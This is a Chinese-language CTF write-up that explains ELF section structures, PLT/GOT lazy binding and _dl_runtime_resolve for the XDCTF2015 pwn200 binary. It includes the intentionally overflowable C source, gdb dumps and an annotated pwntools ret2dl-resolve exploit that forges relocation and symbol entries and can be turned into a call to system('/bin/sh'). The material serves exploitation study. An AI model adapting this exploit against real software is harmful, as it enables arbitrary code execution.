參考:
ctf-wiki高級ROP部分.
ctf-wiki對elf文件格式的講解
https://bbs.pediy.com/thread-227034.htm
由于原文講解的不是很詳細(xì),自己看的時(shí)候有很多問題,于是慢慢將問題搞清楚記錄下來.詳解elf節(jié)的文件結(jié)構(gòu),plt,got機(jī)制.結(jié)合上面3個(gè)參考來理解.
1.pwn200源碼:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
編譯方式:gcc main.c -m32 -fno-stack-protector -o main
2.stage1
內(nèi)容在 http://www.itdecent.cn/p/0d45e2025d97
3.stage5
要理解這部分代碼首先要搞清楚got,plt,elf文件結(jié)構(gòu)的.rel.plt
首先推薦一個(gè)觀察elf文件格式的超好用的工具:wireshark. 沒看錯(cuò),我們都知道它是用來做流量分析的,可我突然發(fā)現(xiàn)直接把elf文件拖到wireshark中可以非常直觀地查看elf文件結(jié)構(gòu).放個(gè)預(yù)覽圖:

可以發(fā)現(xiàn)header就是elf文件頭,program header table 就是程序頭表,section header table就是節(jié)頭表.重點(diǎn)分析節(jié)頭表及重要的節(jié).
節(jié)頭:

每一個(gè)節(jié)頭由如下結(jié)構(gòu)構(gòu)成,以.rel.plt為例:

對應(yīng)的數(shù)據(jù)結(jié)構(gòu):
//如果以上圖的函數(shù)的重定位節(jié).rel.plt為例,字段值分別解釋如下
typedef struct {
ELF32_Word sh_name; //在字符串節(jié)中的偏移,一個(gè)elf文件有多個(gè)字符串表,這個(gè)是存在于.shstrtab中,這個(gè)值表示節(jié)名字符串起始地址在.shstrtab節(jié)中偏移
ELF32_Word sh_type;//SHT_REL
ELF32_Word sh_flags;//09
ELF32_Addr sh_addr;//0x0848330在內(nèi)存中的虛擬地址
ELF32_Off sh_offset;//elf文件偏移
ELF32_Word sh_size;//該節(jié)的總大小 0x28字節(jié)
ELF32_Word sh_link;//0x5
ELF32_Word sh_info;//0x18
ELF32_Word sh_addralign;//0x4
ELF32_Word sh_entsize;//0x8 表示本節(jié)每個(gè)元素大小,由總大小0x28/0x8=5,故共有5個(gè)元素
} Elf32_Shdr;
從圖中可以發(fā)現(xiàn)下面還有個(gè)segment,這個(gè)并不是節(jié)頭的內(nèi)容,而是該節(jié)的本身.wireshark幫我們把每個(gè)節(jié)的節(jié)本身也放在了節(jié)頭下面,方便我們查看. 展開如下:

從file offset可知節(jié)位于文件偏移0x330處,點(diǎn)到segment后,如箭頭指示,正好位于0x330處,而且具有5個(gè)元素(entry),每個(gè)元素8字節(jié)大小,這和文件頭的描述吻合.每個(gè)不同的節(jié)的entry結(jié)構(gòu)是不同的,.rel.plt的entry的結(jié)構(gòu)為
//函數(shù)的重定位節(jié)(表)
//每個(gè)元素是個(gè)結(jié)構(gòu):
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指針
Elf32_Word r_info;//這個(gè)值>>8得到.dynsym的下標(biāo)(從0開始),可求出當(dāng)前函數(shù)的符號(hào)表項(xiàng)Elf32_Sym的指針,
} Elf32_Rel;
重要節(jié).plt詳解:
節(jié)頭:

.plt節(jié)位于文件偏移0x380處,在內(nèi)存中地址為0x08048380,總大小0x60字節(jié),每個(gè)entry4字節(jié).調(diào)試驗(yàn)證一下:
gef? x/24wx 0x8048380
0x8048380: 0xa00435ff 0x25ff0804 0x0804a008 0x00000000
0x8048390 <setbuf@plt>: 0xa00c25ff 0x00680804 0xe9000000 0xffffffe0
0x80483a0 <read@plt>: 0xa01025ff 0x08680804 0xe9000000 0xffffffd0
0x80483b0 <strlen@plt>: 0xa01425ff 0x10680804 0xe9000000 0xffffffc0
0x80483c0 <__libc_start_main@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
0x80483d0 <write@plt>: 0xa01c25ff 0x20680804 0xe9000000 0xffffffa0
根據(jù)gdb的注釋,確實(shí)如此.只不過在一個(gè)函數(shù)的plt中,并不是只有4字節(jié),而是16字節(jié)(后面會(huì)用到).例如對0x80483d0 反匯編看看:
gef? disas 0x80483d0
Dump of assembler code for function write@plt:
0x080483d0 <+0>: jmp DWORD PTR ds:0x804a01c
0x080483d6 <+6>: push 0x20
0x080483db <+11>: jmp 0x8048380
End of assembler dump.
這16字節(jié)是該函數(shù)的plt的調(diào)用過程.再查看got表,所謂的got表其實(shí)是.got.plt節(jié)

由代碼的jmp DWORD PTR ds:0x804a01c(由圖中0x804a000+0x101c得到) ,發(fā)現(xiàn)從plt跳到[0x804a01c]處執(zhí)行.再看圖知就是0x080483d6,正好是write函數(shù)的plt中第二條指令地址.根據(jù)延遲綁定機(jī)制,只有當(dāng)函數(shù)被調(diào)用時(shí)才進(jìn)行地址修正,故plt后2條指令就是修正過程,它會(huì)將write函數(shù)的got表項(xiàng)(這里就是0x804a01c)寫入真正的地址(即[0x804a01c]=write函數(shù)真正地址)并執(zhí)行.當(dāng)?shù)诙渭捌湟院蠖疾粫?huì)再進(jìn)入plt的后2條指令了.而是直接jmp到真正的地址.查看一下未初始化的got表內(nèi)容:
對got表
gef? x/20wx 0x804a000
0x804a000: 0x08049f14 0xf7ffd918 0xf7fee000(解析函數(shù)) 0x08048396(第一個(gè))
0x804a010: 0x080483a6(第二個(gè)...依次類推) 0x080483b6 0xf7e1b540 0x080483d6(正好是plt的第2行指令地址)
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040 <stdin@@GLIBC_2.0>: 0xf7fb55a0 0xf7fb5d60 0x00000000 0x00000000
初始化后的got表內(nèi)容:
gdb-peda$ x/20wx 0x804a000
0x804a000: 0x08049f14 0xf7ffd918 0xf7fee000 0xf7e68ff0
0x804a010: 0x080483a6 0xf7e81440 0xf7e1b540 0xf7ed8b70(已初始化)
gdb-peda$ disas 0xf7ed8b70
Dump of assembler code for function write:
=> 0xf7ed8b70 <+0>: cmp DWORD PTR gs:0xc,0x0
0xf7ed8b78 <+8>: jne 0xf7ed8ba0 <write+48>
0xf7ed8b7a <+0>: push ebx
0xf7ed8b7b <+1>: mov edx,DWORD PTR [esp+0x10]
0xf7ed8b7f <+5>: mov ecx,DWORD PTR [esp+0xc]
0xf7ed8b83 <+9>: mov ebx,DWORD PTR [esp+0x8]
0xf7ed8b87 <+13>: mov eax,0x4
0xf7ed8b8c <+18>: call DWORD PTR gs:0x10
.................
而下面的0x8048380(.plt節(jié)內(nèi)容基址)就是_dl_runtime_resolve函數(shù)的plt:
gef? x/20i 0x8048380 //強(qiáng)制反匯編
0x8048380: push DWORD PTR ds:0x804a004
0x8048386: jmp DWORD PTR ds:0x804a008
0x804838c: add BYTE PTR [eax],al
0x804838e: add BYTE PTR [eax],al
0x8048390 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
0x8048396 <setbuf@plt+6>: push 0x0
0x804839b <setbuf@plt+11>: jmp 0x8048380
0x80483a0 <read@plt>: jmp DWORD PTR ds:0x804a010
0x80483a6 <read@plt+6>: push 0x8
0x80483ab <read@plt+11>: jmp 0x8048380
0x80483b0 <strlen@plt>: jmp DWORD PTR ds:0x804a014
0x80483b6 <strlen@plt+6>: push 0x10
0x80483bb <strlen@plt+11>: jmp 0x8048380
0x80483c0 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018
0x80483c6 <__libc_start_main@plt+6>: push 0x18
0x80483cb <__libc_start_main@plt+11>: jmp 0x8048380
0x80483d0 <write@plt>: jmp DWORD PTR ds:0x804a01c
0x80483d6 <write@plt+6>: push 0x20
0x80483db <write@plt+11>: jmp 0x8048380
前4行就是_dl_runtime_resolve的plt,它自己的got:0x804a008內(nèi)容如下:是真正的地址,不需要修正的
gef? x/w 0x804a008
0x804a008: 0xf7763000
gef? disas 0xf7763000
Dump of assembler code for function _dl_runtime_resolve:
0xf7763000 <+0>: push eax
0xf7763001 <+1>: push ecx
0xf7763002 <+2>: push edx
0xf7763003 <+3>: mov edx,DWORD PTR [esp+0x10]
0xf7763007 <+7>: mov eax,DWORD PTR [esp+0xc]
0xf776300b <+11>: call 0xf775c7e0 <_dl_fixup>
0xf7763010 <+16>: pop edx
0xf7763011 <+17>: mov ecx,DWORD PTR [esp]
0xf7763014 <+20>: mov DWORD PTR [esp],eax
0xf7763017 <+23>: mov eax,DWORD PTR [esp+0x4]
0xf776301b <+27>: ret 0xc
End of assembler dump.
其實(shí)_dl_runtime_resolve函數(shù)接收2個(gè)參數(shù),從write的plt發(fā)現(xiàn),跳轉(zhuǎn)到_dl_runtime_resolve的plt之前push了一個(gè)參數(shù)0x20,_dl_runtime_resolve的plt第一條指令也是push一個(gè)參數(shù),這個(gè)參數(shù)不用管他.即通過傳入不同的參數(shù)會(huì)對不同的函數(shù)進(jìn)行修正.這個(gè)0x20的參數(shù)表示的是離.rel.plt節(jié)的偏移.前面已經(jīng)知道.rel.plt節(jié)每個(gè)entry8字節(jié),因此write對應(yīng)函數(shù)重定位節(jié)的第4個(gè)entry.也就是說,對_dl_runtime_resolve指定好第二個(gè)參數(shù)后,就能直接調(diào)用
_dl_runtime_resolve來間接調(diào)用函數(shù)._dl_runtime_resolve的內(nèi)部是通過第一個(gè)參數(shù)獲取到.dynamic節(jié),又能通過.dynamic節(jié)獲取到.dynstr, .dynsym, .rel.plt 這3個(gè)節(jié).總之:
_dl_runtime_resolve會(huì)
用link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指針
.rel.plt + 第二個(gè)參數(shù)求出當(dāng)前函數(shù)的重定位表項(xiàng)Elf32_Rel的指針,記作rel
rel->r_info >> 8作為.dynsym的下標(biāo),求出當(dāng)前函數(shù)的符號(hào)表項(xiàng)Elf32_Sym的指針,記作sym
.dynstr + sym->st_name得出符號(hào)名字符串指針
在動(dòng)態(tài)鏈接庫查找這個(gè)函數(shù)的地址,并且把地址賦值給*rel->r_offset,即GOT表
調(diào)用這個(gè)函數(shù)
.dynamic節(jié)內(nèi)容:

重要的entry已經(jīng)被展開,結(jié)構(gòu)如下
typedef struct {
Elf32_Sword d_tag;//不同的entry該值不同
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;//對于tag為5,6,0x17(23)時(shí),分別是指向.dynstr, .dynsym, .rel.plt這3個(gè)section的指針.3時(shí),指向.got.plt
} Elf32_Dyn;
.rel.plt 節(jié)entry上面已說過,8個(gè)字節(jié),前4字節(jié)指向?qū)?yīng)函數(shù)的.got.plt節(jié)(got表)的值,即當(dāng)_dl_runtime_resolve找到真正的地址時(shí)會(huì)執(zhí)行類似于這樣的東西: *(int*)(Elf32_Rel->r_offset)=真正的地址
.dynsym節(jié):
專用的動(dòng)態(tài)符號(hào)表, 內(nèi)容結(jié)構(gòu)如下,每個(gè)結(jié)構(gòu)大小16字節(jié)
ELF 文件中 export/import 的符號(hào)信息全在這里。
但是,.symtab 節(jié)中存儲(chǔ)的信息是編譯時(shí)的符號(hào)信息

對應(yīng)結(jié)構(gòu):
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */ 該成員保存著動(dòng)態(tài)符號(hào)在 .dynstr 表(動(dòng)態(tài)字符串表)中的偏移。這個(gè)是_dl_runtime_resolve解析外部函數(shù)的關(guān)鍵成員.
Elf32_Addr st_value; /* Symbol value */如果這個(gè)符號(hào)被導(dǎo)出,這個(gè)符號(hào)保存著對應(yīng)的虛擬地址。
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
.dynstr
和.strtab(存儲(chǔ)程序中的變量名,函數(shù)名), .shstrtab(存儲(chǔ)的是節(jié)區(qū)名的字符串)類似
此時(shí)直接看ctf-wiki的stage5代碼:
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
#這些值可以邊調(diào)試代碼邊到wireshark中查看是否一致
plt0 = elf.get_section_by_name('.plt').header.sh_addr#獲取.plt在內(nèi)存中地址:0x8048380
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#獲取.rel.plt在內(nèi)存中地址:0x8048330
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr#獲取.dynsym在內(nèi)存中地址:0x80481d8
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr#獲取.dynstr在內(nèi)存中地址:0x8048278
### making fake write symbol
#將偽造的符號(hào)結(jié)構(gòu)置于 base_stage + 32的地方,不能少于32,因?yàn)榍懊?24的地方是偽造的重定位結(jié)構(gòu),+本身
#8字節(jié)即32.
fake_sym_addr = base_stage + 32
#下面2行是為了地址對齊,經(jīng)過調(diào)試,這個(gè)align是0x10
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf )# since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
## plus 10 since the size of Elf32_Sym is 16.
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #計(jì)算偽造的符號(hào)結(jié)構(gòu)在符號(hào)節(jié)的索引,用于偽造的.rel.plt
#計(jì)算偽造的字符串結(jié)構(gòu)(其實(shí)就是字符串)離字符串節(jié)偏移,用于填充偽造的符號(hào)結(jié)構(gòu)第一個(gè)字段
st_name = fake_sym_addr + 0x10 - dynstr#偽造的字符串位于fake_sym_addr + 0x10
fake_write_sym = flat([st_name, 0, 0, 0x12])#偽造的符號(hào)結(jié)構(gòu),后3個(gè)字段都一樣,無需更改
### making fake write relocation
## making base_stage+24 ---> fake reloc
#將偽造的重定位結(jié)構(gòu)置于 base_stage + 24的地方
#計(jì)算重定位結(jié)構(gòu)與rel_plt基址偏移,用于作為_dl_runtime_resolve的參數(shù)
index_offset = base_stage + 24 - rel_plt
#偽造的重定位結(jié)構(gòu),Elf32_Rel.r_offset=write_got ;Elf32_Rel.r_info=(index_dynsym << 8) | 0x7
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7#在wireshark中可以看到這些結(jié)構(gòu)的r_info低位都有0x7,這里也加上就好了
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
#write函數(shù)的3個(gè)參數(shù)
rop.raw(1)
rop.raw(base_stage + 80)#sh的地址
rop.raw(len(sh))
rop.raw(fake_write_reloc) #將偽造的重定位結(jié)構(gòu)置于 base_stage + 24的地方
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol#將偽造的符號(hào)結(jié)構(gòu)置于 base_stage + 32的地方
rop.raw('write\x00') #.偽造的字符串必須以0結(jié)尾,將這里改為system并修改參數(shù)即調(diào)用之
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()